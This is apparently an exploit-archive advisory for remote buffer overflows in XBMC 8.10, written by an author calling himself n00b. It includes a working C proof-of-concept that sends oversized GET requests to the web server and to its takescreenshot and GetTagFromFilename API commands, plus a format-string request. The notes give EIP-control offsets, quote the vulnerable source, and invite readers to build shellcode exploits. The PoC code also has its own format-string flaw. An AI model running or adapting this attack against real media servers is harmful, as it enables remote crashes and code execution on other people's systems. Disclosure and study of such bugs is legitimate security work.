XBMC 8.10 GET Overflows

`/*  
XBMC multiple remote buffer overflow vulnerabilities.  
  
XBMC is an award winning media center application for  
Linux, Mac OS X, Windows and XBox. The ultimate hub  
for all your media, XBMC is easy to use, looks slick,  
and has a large helpful community.XBMC has won many  
awards.  
  
Affected version: XBMC 8.10 Atlantis  
Tested on: Windows xpsp3 and linux unbuntu 8.10  
Venders web site : http://xbmc.org/  
Release date:April the 1st 2009  
  
Credits go to n00b for finding the buffer overflow  
and writing simple yet effective poc code.  
Shout's to every one that knows me and have helped over  
the years.  
  
Please if u do wish to write a exploit for the buffer  
overflow please give credits.  
also you will have to filter the bad chars from  
shellcode if you do wish to write exploit for the  
voulnrabilitys in this advisory.  
  
----------  
Disclaimer  
----------  
The information in this advisory and any of its  
demonstrations is provided "as is" without any  
warranty of any kind.  
  
I am not liable for any direct or indirect damages  
caused as a result of using the information or  
demonstrations provided in any part of this advisory.  
Educational use only..!!  
  
You can call by my blog to leave comments and feed back  
and ask any questions you would like.Should be up  
and runing in a few days.  
  
[--]  
http://n00b-n00b.blogspot.com/  
[--]  
  
This poc code was writen on linux using gcc-4.* to compile.  
*/  
  
#include <stdio.h>  
#include <sys/socket.h>  
#include <arpa/inet.h>  
#include <stdlib.h>  
#include <string.h>  
#include <unistd.h>  
#include <netinet/in.h>  
  
/*Just enough recived buffer to allow for the server banner!!*/  
  
#define BUFFSIZE 32  
  
  
void error(char *mess)  
{  
perror(mess);  
exit(1);  
}  
  
int main(int argc, char *argv[])  
{  
int sock;  
int input;  
struct sockaddr_in http_client;  
char buffer[BUFFSIZE];  
  
/*You may need to add more buffer on linux versions!!  
on windows its <1010> bytes to own eip next 4 bytes  
are loaded into the $esp register.*/  
char buffer1[1500];  
  
unsigned int http_len;  
int received = 0;  
  
/* If there is more than 2 arguments passed print usage!!*/  
if (argc != 3)  
{  
fprintf(stderr,"USAGE: Server_ip port\n");  
exit(1);  
}  
  
/* Create socket */  
if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)  
{  
error("Cant create socket");  
}  
  
  
/* Construct sockaddr */  
memset(&http_client, 0, sizeof(http_client));  
http_client.sin_family = AF_INET;  
http_client.sin_addr.s_addr = inet_addr(argv[1]);  
http_client.sin_port = htons(atoi(argv[2]));  
  
/* Establish connection */  
if (connect(sock,  
(struct sockaddr *) &http_client,  
sizeof(http_client)) < 0)  
{  
error("Failed to connect with remote host");  
}  
  
/*We need to Construct all the voulnrable request togeather*/  
memset( buffer1, 0x41, sizeof(buffer1) - 1 );  
  
printf( "----------------------------------------------------------------\n" );  
printf( "XBMC remote buffer overflow poc code by n00b !!\n" );  
printf( "----------------------------------------------------------------\n" );  
printf( "[1]. Get request buffer overflow poc !!\n" );  
printf( "[2]. Get /xbmcHttp?command=takescreenshot buffer overflow !!\n" );  
printf( "[3]. Get /xbmcHttp?command=GetTagFromFilename buffer overflow !!\n" );  
printf( "[4]. queryvideodatabase possible format string poc !!\n" );  
printf( "----------------------------------------------------------------\n" );  
printf( "----------------------------------------------------------------\n" );  
printf( "[5]. Cancel and quit application !!\n" );  
printf( "----------------------\n" );  
printf( "Pick your http request: " );  
scanf( "%d", &input );  
switch ( input )  
{  
case 1:  
memcpy ( buffer1, "GET /", 5);  
memcpy ( buffer1 +(sizeof(buffer1) - 1) - 21, ".asp HTTP/1.1\r\n\r\n", 21);  
break;  
case 2:  
memcpy ( buffer1, "GET /xbmcCmds/xbmcHttp?command=takescreenshot(", 46);  
memcpy ( buffer1 +(sizeof(buffer1) - 1) - 41, ".jpg;false;0;300;200;90) HTTP/1.1\r\n\r\n", 41);  
break;  
case 3:  
memcpy ( buffer1, "GET /xbmcCmds/xbmcHttp?command=GetTagFromFilename(C:/", 53);  
memcpy ( buffer1 +(sizeof(buffer1) - 1) - 23, ".mp3) HTTP/1.1\r\n\r\n", 23);  
break;  
case 4:  
memcpy ( buffer1, "GET /xbmcCmds/xbmcHttp?command=queryvideodatabase(%s%s%s%s) HTTP/1.1\r\n\r\n", 76);  
break;  
case 5:  
exit(0);  
break;  
}  
  
  
/* Send our get request to the server*/  
http_len = strlen(buffer1);  
if (send(sock, buffer1, http_len, 0) != http_len)  
{  
error("No byte's where sent to remote host check Get request !!");  
}  
  
  
/* Receive the current state of the server*/  
fprintf(stdout, "Received: ");  
while (received < http_len)  
{  
int bytes = 0;  
if ((bytes = recv(sock, buffer, BUFFSIZE-1, 0)) < 1)  
{  
error("Was the banner received?? if no banner exploit was successfull!!");  
}  
received += bytes;  
buffer[bytes] = '\0';  
fprintf(stdout, buffer);  
}  
  
fprintf(stdout, "\n");  
close(sock);  
exit(0);  
}  
  
  
/*  
A basic run down of the bugs found with a basic discription.!!  
  
  
(1)..(Get request WebsHomePageHandler buffer overflow)..  
  
I was able to track down most of the vulnerable code.All this info  
was collected on a window's system.  
  
The first buffer overflow i found in the xbmc application all is  
required was for me to make a simple get request by adding 1033 bytes  
of user supplied data to the request.We are now able to gain control of the  
$eip register and the next four bytes on the stack is where our $esp register  
is pointing.  
  
  
--snip--  
  
  
Source of WebsHomePageHandler..\XBMC\xbmc\lib\libGoAhead\WebServer.cpp  
  
  
  
  
Home page handler  
  
static int websHomePageHandler(webs_t wp, char_t *urlPrefix, char_t *webDir,  
int arg, char_t *url, char_t *path, char_t *query)  
{  
  
If the empty or "/" URL is invoked, redirect default URLs to the home page  
  
char dir[1024];  
char files[][20] = {  
{"index.html"},  
{"index.htm"},  
{"home.htm"},  
{"home.html"},  
{"default.asp"},  
{"home.asp"},  
{'\0' }  
};  
  
  
  
  
strcpy(dir, websGetDefaultDir());  
strcat(dir, path);  
for(u_int pos = 0; pos < strlen(dir); pos++)  
if (dir[pos] == '/') dir[pos] = '\\';  
  
DWORD attributes = GetFileAttributes(dir);  
if (FILE_ATTRIBUTE_DIRECTORY == attributes)  
{  
int i = 0;  
char buf[1024];  
while (files[i][0])  
{  
strcpy(buf, dir);  
if (buf[strlen(buf)-1] != '\\') strcat(buf, "\\");  
strcat(buf, files[i]);  
  
if (!access(buf, 0))  
{  
strcpy(buf, path);  
if (path[strlen(path)-1] != '/') strcat(buf, "/");  
strcat(buf, files[i]);  
websRedirect(wp, buf);  
return 1;  
}  
i++;  
}  
  
  
--snip--  
  
  
the next set of voulnrabilitys are exploited through   
the "Web Server HTTP API".  
more information can be read at the following link.  
I wrote a simple fuzzer and fuzzed all the commands that  
where passed through the http requests.  
  
  
http://xbmc.org/wiki/?title=WebServerHTTP-API  
  
  
(2)..(takescreenshot remote buffer overflow)..  
  
please visit the above link for more information  
on specific command's.This is also a classic buffer  
overflow where we can add a long file name to the  
takescreenshot command and pass it to the API.  
once again we can over flow the static allocated  
buffer on the stack and let us own the application  
flow.Thus letting us execute our own supplied data.  
Also as a side note to this buffer overflow  
there are different registers over wrote.  
  
...\XBMC\xbmc\cores\DllLoader\exports\emu_msvcrt.cpp  
  
--snip--  
  
  
int dll_open(const char* szFileName, int iMode)  
{  
char str[XBMC_MAX_PATH];  
  
// move to CFile classes  
if (strncmp(szFileName, "\\Device\\Cdrom0", 14) == 0)  
{  
// replace "\\Device\\Cdrom0" with "D:"  
strcpy(str, "D:");  
strcat(str, szFileName + 14);  
}  
else strcpy(str, szFileName);  
  
CFile* pFile = new CFile();  
bool bBinary = false;  
if (iMode & O_BINARY)  
bBinary = true;  
bool bWrite = false;  
if ((iMode & O_RDWR) || (iMode & O_WRONLY))  
bWrite = true;  
bool bOverwrite=false;  
if ((iMode & _O_TRUNC) || (iMode & O_CREAT))  
bOverwrite = true;  
// currently always overwrites  
bool bResult;  
if (bWrite)  
bResult = pFile->OpenForWrite(_P(str), bBinary, bOverwrite);  
else  
bResult = pFile->Open(_P(str), bBinary);  
if (bResult)  
{  
EmuFileObject* object = g_emuFileWrapper.RegisterFileObject(pFile);  
if (object == NULL)  
{  
VERIFY(0);  
pFile->Close();  
delete pFile;  
return -1;  
}  
return g_emuFileWrapper.GetDescriptorByStream(&object->file_emu);  
}  
delete pFile;  
return -1;  
}  
  
--snip--  
  
We also know that szFileName is defind in a headerfile with  
1024 bytes staticaly allocated.So if we passs more the 1024 byte's we can cause  
stack corruption and over write the $eip also give's us a choice of registers  
we can use for our shell code.  
  
  
  
(3)..(GetTagFromFilename remote buffer overflow)..  
  
The buffer over flow is when parsing a id3 tag  
the difference is the registers that are over wrote  
at the time of access violation are as follow's.Im not  
going to list all the source for all the exceptions.  
This poc is big enough already with out adding more  
information and its simple to set up XBMC and compile  
on your own machine..  
  
  
  
(4)..(Sqlite queryvideodatabase)..  
  
Just results in denial of service no more information available  
maybe ill look more into sqllite3 in the future.  
  
[--]  
/xbmcCmds/xbmcHttp?command=queryvideodatabase(%s%s%s%s)  
[--]  
  
All the above vulnerability's where tested on linux and windows  
On linux unbuntu 8.10 using strace to debug.And on windows  
i used visual c++ express 2008.This poc code is just a simple  
poc code to show the vulnerability's i found within the XBMC  
application.  
  
it started off as closed source analysis.Although  
the application was tested there are still a lot of other  
possibility for exploitation.Even the login for the web server  
could be vulnerable to a buffer overflow.  
  
Also worth a mention is i could take controll over the XBMC   
web server and there would be no error messages or any thing to   
sugest that the server had been took offline but it carrys on as   
normal the rest of xbmc stays the same with out any changes.  
It looks like it just terminates the thread and leaving the   
rest of the application intact and continues to run  
like normal.  
  
  
*/  
  
`